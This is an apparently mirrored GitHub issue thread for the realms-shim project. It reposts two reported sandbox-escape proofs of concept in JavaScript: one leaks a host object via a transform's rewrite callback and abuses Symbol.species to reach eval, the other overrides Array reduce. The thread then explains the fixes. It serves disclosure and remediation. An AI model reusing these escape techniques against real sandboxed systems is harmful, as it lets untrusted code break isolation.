Coder Social home page Coder Social logo

Comments (5)

warner avatar warner commented on August 27, 2024

On 07-Oct-2019, GitHub user @XmiliaH reported a security bug to [email protected]:

Hey,

just found another breakout:

const compartment = Realm.makeCompartment();
let HostObject;
try {
     compartment.evaluate('', undefined, {transforms: [{
         rewrite(leaked) {
             // Here we get the HostObject.
             HostObject = leaked.constructor;
             throw ''; // goto gotHostObject
         }
     }]});
} catch (e) {
     // gotHostObject:
}
// Elevate HostObject access to eval.
const HostArray = HostObject.keys({}).constructor;
let n = 0;
Object.defineProperty(HostArray, Symbol.species, {
     value: function(){
         if (n++ == 1) {
             return {
                 get length() {
                     this["0"] = 'x}=this;return ()=>eval;//';
                     return 1;
                 }
             };
         }
         return [];
     }
});
const Eval = Realm.makeRootRealm().evaluate('');
Eval

The problem is that the rewrite transformer gets called with a host object.

Regards,
Xmili

from realms-shim.

warner avatar warner commented on August 27, 2024

The following day, @XmiliaH sent:

There is another way out:

let HostFunction;
class BadArray extends Array {
	reduce(leaked) {
		// Leak happens here,
		// but also concat will concat
		// this with a transformer of the host
		// that could just be read.
		// But like this it's easier.
		HostFunction = leaked.constructor;
		throw ''; // goto gotHostFunction
	}	
}
const compartment = Realm.makeCompartment();
try{
	compartment.evaluate('', undefined, {transforms: new BadArray()});
} catch (e) {
	// gotHostFunction:
}
const HostObject = HostFunction.__proto__.__proto__.constructor
// Eleveate HostObject see first issue

Problem is that your uncurried concat will use the first parameter as this which is the BadArray, so the output arraytype can be choosen by me.

from realms-shim.

warner avatar warner commented on August 27, 2024

@jfparadis made the first fix here:

export const applyTransformsString = safeStringifyFunction(applyTransforms);

and here:

const applyTransforms = unsafeEval(applyTransformsString);

This takes the function which applies the transforms and turns it into a string, then evaluates that string inside the target Realm. This ensures that all the primordials it uses (like Array) are coming from the Realm that's going to evaluate the code being transformed.

from realms-shim.

warner avatar warner commented on August 27, 2024

The second fix is here:

const arrayReduce = uncurryThis(Array.prototype.reduce);

and here:

rewriterState = arrayReduce(
transforms,
(rs, transform) => (transform.rewrite ? transform.rewrite(rs) : rs),
rewriterState
);

This captures the real Array.reduce early, before the transform code has a chance to modify it, and uses the captured version instead of transform.reduce (which would perform a new lookup on Array.prototype, possibly getting a modified version).

from realms-shim.

warner avatar warner commented on August 27, 2024

That's all the detail I could get from the security advisory discussion, so I'll close this now. If I can glean more information from the actual code changes, I'll add it here later.

from realms-shim.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.